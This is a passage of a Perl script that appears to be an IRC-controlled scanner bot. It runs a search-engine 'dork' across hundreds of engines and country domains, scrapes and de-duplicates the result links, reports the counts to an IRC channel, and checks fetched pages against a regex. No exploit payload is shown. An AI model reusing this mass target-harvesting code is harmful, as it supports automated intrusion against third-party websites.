  3119.     if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); }
  3120.     if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
  3121.     if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); }
  3122.     if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
  3123.     if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
  3124.     if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); }
  3125.     if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
  3126.     if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); }
  3127.     if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
  3128.     if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); }
  3129.     if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
  3130.     if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); }
  3131.     if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); }
  3132.     if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); }
  3133.     if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
  3134.     if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
  3135.     if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); }
  3136.     if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
  3137.     if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
  3138.     if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
  3139.     if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); }
  3140.     if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); }
  3141.     if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
  3142.     if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
  3143.     if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
  3144.     if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); }
  3145.     if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); }
  3146.     if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
  3147.     if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); }
  3148.     if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
  3149.     if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); }
  3150.     if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); }
  3151.     if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); }
  3152.     if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
  3153.     if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  3154.     if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
  3155.     if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
  3156.     if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
  3157.     if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
  3158.     if ($engine eq "af") { my @af = &af($dork); push(@total,@af); }
  3159.     if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); }
  3160.     if ($engine eq "al") { my @al = &al($dork); push(@total,@al); }
  3161.     if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); }
  3162.     if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); }
  3163.     if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); }
  3164.     if ($engine eq "am") { my @am = &am($dork); push(@total,@am); }
  3165.     if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); }
  3166.     if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); }
  3167.     if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); }
  3168.     if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); }
  3169.     if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); }
  3170.     if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); }
  3171.     if ($engine eq "io") { my @io = &io($dork); push(@total,@io); }
  3172.     if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); }
  3173.     if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); }
  3174.     if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); }
  3175.     if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); }
  3176.     if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); }
  3177.         if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); }
  3178.     if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); }
  3179.     if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); }
  3180.     if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); }
  3181.     if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); }
  3182.     if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); }
  3183.     if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); }
  3184.     if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); }
  3185.     if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); }
  3186.     if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); }
  3187.     if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); }
  3188.     if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); }
  3189.     if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); }
  3190.     if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); }
  3191.     if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); }
  3192.     if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); }
  3193.     if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); }
  3194.     if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); }
  3195.     if ($engine eq "la") { my @la = &la($dork); push(@total,@la); }
  3196.     if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); }
  3197.         if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); }
  3198.     if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); }
  3199.     if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); }
  3200.     if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); }
  3201.     if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); }
  3202.     if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); }
  3203.     if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); }
  3204.     if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); }
  3205.     if ($engine eq "md") { my @md = &md($dork); push(@total,@md); }
  3206.     if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); }
  3207.     if ($engine eq "me") { my @me = &me($dork); push(@total,@me); }
  3208.     if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); }
  3209.     if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); }
  3210.     if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); }
  3211.     if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); }
  3212.     if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); }
  3213.     if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); }
  3214.     if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); }
  3215.     if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); }
  3216.     if ($engine eq "re") { my @re = &re($dork); push(@total,@re); }
  3217.     if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); }
  3218.     if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); }
  3219.     if ($engine eq "st") { my @st = &st($dork); push(@total,@st); }
  3220.     if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); }
  3221.     if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); }
  3222.     if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); }
  3223.     if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); }
  3224.     if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); }
  3225.     if ($engine eq "so") { my @so = &so($dork); push(@total,@so); }
  3226.     if ($engine eq "su") { my @su = &su($dork); push(@total,@su); }
  3227.     if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); }
  3228.     if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); }
  3229.     if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); }
  3230.     if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); }
  3231.     if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); }
  3232.     if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); }
  3233.     if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); }
  3234.     if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); }
  3235.     if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); }
  3236.     if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); }
  3237.     if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
  3238.     if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); }
  3239.     if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); }
  3240.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  3241.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  3242.     if ($engine eq "WaLLaa") { my @wallaa = &wallaa($dork); push(@total,@wallaa); }
  3243.     if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  3244.     if ($engine eq "Sensis") { my @sensis = &sensis($dork); push(@total,@sensis); }
  3245.     #if ($engine eq "webwombat") { my @webwombat = &webwombat($dork); push(@total,@webwombat); }
  3246.     if ($engine eq "YaHoomm") { my @YaHoomm = &YaHoomm($dork."+site:.mm"); push(@total,@YaHoomm); }
  3247.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  3248.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  3249.     if ($engine eq "Bingmm") { my @bingmm = &bingmm($dork."+site:.mm"); push(@total,@bingmm); }
  3250.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  3251.     if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  3252.     if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  3253.     if ($engine eq "SaPo") { my @SaPo = &SaPo($dork); push(@total,@SaPo); }
  3254.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  3255.     if ($engine eq "SoGou") { my @soGou = &soGou($dork); push(@total,@soGou); }
  3256.     if ($engine eq "YouDao") { my @youDaoo = &youDaoo($dork); push(@total,@youDaoo); }
  3257.     if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  3258.     if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  3259.     if ($engine eq "YaHoo2") { my @YaHoo2 = &YaHoo2($dork); push(@total,@YaHoo2); }
  3260.     if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  3261.     if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
  3262.     if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
  3263.     if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  3264.     #if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
  3265.     if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
  3266.     #if ($engine eq "mamma") { my @mamma = &mamma($dork); push(@total,@mamma); }
  3267.     #if ($engine eq "info") { my @info = &info($dork); push(@total,@info); }
  3268.     #if ($engine eq "infospace") { my @infospace = &infospace($dork); push(@total,@infospace); }
  3269.     #if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
  3270.     if ($engine eq "altavista") { my @altavista = &altavista($dork); push(@total,@altavista); }
  3271.     if ($engine eq "bingdomain") { my @bingdomain = &bingdomain($dork); push(@total,@bingdomain); }
  3272.     #if ($engine eq "xxx") { my @xxx = &xxx($dork); push(@total,@xxx); }
  3273.     if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
  3274.     if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
  3275.     if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
  3276.     if ($engine eq "NET") { my @net = &net($dork); push(@total,@net); }
  3277.     if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
  3278.     if ($engine eq "COM") { my @com = &com($dork); push(@total,@com); }
  3279.     if ($engine eq "ORG") { my @org = &org($dork); push(@total,@org); }
  3280.     if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
  3281.     if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
  3282.     if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
  3283.     if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
  3284.     if ($engine eq "ME") { my @me = &me($dork); push(@total,@me); }
  3285.     if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
  3286.     if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
  3287.     if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
  3288.     if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
  3289.     if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
  3290.     if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
  3291.     if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
  3292.     if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
  3293.     if ($engine eq "INFO") { my @info = &info($dork); push(@total,@info); }
  3294.     if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
  3295.     if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
  3296.     if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
  3297.     if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
  3298.     if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
  3299.     if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
  3300.     if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
  3301.     if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
  3302.     if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
  3303.     if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
  3304.     if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
  3305.     if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
  3306.     if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
  3307.     if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
  3308.     if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
  3309.     if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
  3310.     if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
  3311.     if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
  3312.     if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
  3313.     if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
  3314.     if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
  3315.     if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
  3316.     if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
  3317.     if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
  3318.     if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
  3319.     if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
  3320.     if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
  3321.     if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
  3322.     if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
  3323.     if ($engine eq "BY") { my @by = &by($dork); push(@total,@by); }
  3324.     if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
  3325.     if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
  3326.     if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
  3327.     if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
  3328.     if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
  3329.     if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
  3330.     if ($engine eq "SU") { my @su = &su($dork); push(@total,@su); }
  3331.     if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
  3332.     if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
  3333.     if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
  3334.     if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
  3335.     if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
  3336.     if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
  3337.     if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
  3338.     if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
  3339.     if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
  3340.     if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
  3341.     if ($engine eq "TN") { my @tn = &tn($dork); push(@total,@tn); }
  3342.     if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
  3343.     if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
  3344.     if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
  3345.     if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
  3346.     if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
  3347.     if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
  3348.     if ($engine eq "MD") { my @md = &md($dork); push(@total,@md); }
  3349.     if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
  3350.     if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
  3351.     if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
  3352.     if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
  3353.     if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
  3354.     if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
  3355.     if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
  3356.     if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
  3357.     if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  3358.     if ($engine eq "NG") { my @ng = &ng($dork); push(@total,@ng); }
  3359.     if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
  3360.     if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
  3361.     if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
  3362.     if ($engine eq "AM") { my @am = &am($dork); push(@total,@am); }
  3363.     if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
  3364.     if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
  3365.     if ($engine eq "GE") { my @ge = &ge($dork); push(@total,@ge); }
  3366.     if ($engine eq "KY") { my @ky = &ky($dork); push(@total,@ky); }
  3367.     if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
  3368.     if ($engine eq "MK") { my @mk = &mk($dork); push(@total,@mk); }
  3369.     if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
  3370.     if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
  3371.     if ($engine eq "SY") { my @sy = &sy($dork); push(@total,@sy); }
  3372.     if ($engine eq "LA") { my @la = &la($dork); push(@total,@la); }
  3373.     if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
  3374.     if ($engine eq "CY") { my @cy = &cy($dork); push(@total,@cy); }
  3375.     if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
  3376.     if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
  3377. #    if ($engine eq "MUSEUM") { my @museum = &museum($dork); push(@total,@museum); }
  3378.     if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
  3379.     if ($engine eq "TK") { my @tk = &tk($dork); push(@total,@tk); }
  3380.     if ($engine eq "NU") { my @nu = &nu($dork); push(@total,@nu); }
  3381.     if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
  3382.     if ($engine eq "YE") { my @ye = &ye($dork); push(@total,@ye); }
  3383.     if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
  3384.     if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
  3385.     if ($engine eq "TZ") { my @tz = &tz($dork); push(@total,@tz); }
  3386.     if ($engine eq "RS") { my @rs = &rs($dork); push(@total,@rs); }
  3387.     if ($engine eq "PM") { my @pm = &pm($dork); push(@total,@pm); }
  3388.     if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); }
  3389.     if ($engine eq "MZ") { my @mz = &mz($dork); push(@total,@mz); }
  3390.     if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
  3391.     if ($engine eq "AL") { my @al = &al($dork); push(@total,@al); }
  3392.     if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
  3393.     if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
  3394.     if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
  3395.     if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  3396.     if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
  3397.     if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  3398.     if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  3399.     if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  3400.     if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  3401.     if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  3402.     if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  3403.     if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  3404.     if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  3405.     if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  3406.     if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  3407.     if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  3408.     if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  3409.     if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  3410.     if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  3411.     if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  3412.     if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  3413.     if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  3414.     if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  3415.     if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  3416.     if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  3417.     if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  3418.     if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  3419.     if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  3420.     if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  3421.     if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  3422.     if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  3423.     if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  3424.     if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  3425.     if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  3426.     if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  3427.     if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  3428.     if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  3429.     if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  3430.     if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  3431.     if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  3432.     if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  3433.     if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  3434.     if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  3435.     if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  3436.     if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  3437.     if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
  3438.     if ($engine eq "Baidu") { my @Baidu = Baidu($dork); push(@total,@Baidu); }
  3439.     if ($engine eq "GoJp") { my @GoJp = GoJp($dork); push(@total,@GoJp); }
  3440.     if ($engine eq "BebeK") { my @Bebek = Bebek($dork); push(@total,@Bebek); }
  3441.     if ($engine eq "DogPile") { my @DogPile = DogPile($dork); push(@total,@DogPile); }
  3442.     #if ($engine eq "Yandex") { my @yandex = yandex($dork); push(@total,@yandex); }
  3443.      if ($engine eq "Stella") { my @StellaIt = StellaIt($dork); push(@total,@StellaIt); }
  3444.       if ($engine eq "MSN") { my @MSNi = MSNi($dork); push(@total,@MSNi); }
  3445.  
  3446.     @clean = &clean(@total);
  3447.     my $num = scalar(@clean);
  3448.     if ($silentmode == 0) {
  3449.         if ($num > 0){
  3450.             &msg("$chan","$logo 15,1 $engine 4 ".$num." 15");
  3451.         }
  3452.     }
  3453.     return @clean;
  3454. }
  3455. ##################################################################################
  3456. sub isFound() {
  3457.     my $status = 0;
  3458.     my $link = $_[0];
  3459.     my $reqexp = $_[1];
  3460.     my $res = &get_content($link);
  3461.     if ($res =~ /$reqexp/) { $status = 1 }
  3462.     return $status;
  3463. }
  3464.  
  3465. sub get_content() {
  3466.     my $url = $_[0];
  3467.     my $ua = LWP::UserAgent->new(agent => $uagent);
  3468.     $ua->timeout($timot);
  3469.     my $req = HTTP::Request->new(GET => $url);
  3470.     my $res = $ua->request($req);
  3471.     return $res->content;
  3472. }
  3473. ######################################### SEARCH ENGINE
  3474. sub view() {
  3475.     my @list;
  3476.     my $num=50;
  3477.     my $max=1000;
  3478.     my $key = $_[0];
  3479.     for ($b=0; $b<=$max; $b+=$num) {
  3480.         my $search = ("http://searches.vi-view.com/search/web?type=ds&channel=wnf&q=".&key($key)."&lr=all&cat=&or=&start=".$b);
  3481.         my $res = search_engine_query($search);
  3482.         while ($res =~ m/(.*?)<\/a>/g) {
  3483.             if ($1 !~ /view/){
  3484.                 my $link = $1;
  3485.                 my @grep = &links($link);
  3486.                 push(@list,@grep);
  3487.             }
  3488.         }
  3489.     }
  3490.     return @list;
  3491. }
  3492.  
  3493.  
  3494. sub MSNi() {
  3495.      my @list;
  3496.     my $num=50;
  3497.     my $max=1000;
  3498.     my $key = $_[0];
  3499.     for ($b=0; $b<=$max; $b+=$num) {
  3500.         my $search = ("http://search.live.com/results.aspx?q=".&key($key)."&first=".$b."&FORM=PERE");
  3501.         my $res = search_engine_query($search);
  3502.         while ($res =~ m/(.*?)<\/a>/g) {
  3503.             if ($1 !~ /msn|live|mercadolivre|google/ ){
  3504.                 my $link = $1;
  3505.                 my @grep = &links($link);
  3506.                 push(@list,@grep);
  3507.             }
  3508.         }
  3509.     }
  3510.     return @list;
  3511. }
  3512.  
  3513.  
  3514. sub StellaIt() {
  3515.     my @list;
  3516.     my $num=1;
  3517.     my $max=100;
  3518.     my $key = $_[0];
  3519.     for ($b=1; $b<=$max; $b+=$num) {
  3520.         my $search = ("http://www.istella.it/en/search/?key=".&key($key)."&page=".$b."");
  3521.         my $res = search_engine_query($search);
  3522.         while ($res =~ m/href=\"http:\/\/(.*?)\" data-feed=\"webtop\"/g) {
  3523.         my $link = $1;
  3524.             if ($link !~ /tiscali\.it|istella\.it|istella|google|bing|yahoo|facebook|blogspot/){
  3525.                 my @grep = &links($link);
  3526.                 push(@list,@grep);
  3527.             }
  3528.         }
  3529.     }
  3530.     return @list;
  3531. }
  3532.  
  3533. sub yandex() {
  3534.     my @list;
  3535.     my $num=1;
  3536.     my $max=100;
  3537.     my $key = $_[0];
  3538.     for ($b=0; $b<=$max; $b+=$num) {
  3539.         my $search = ("http://www.yandex.com/search/?text=".&key($key)."&p=".$b."");
  3540.         my $res = search_engine_query($search);
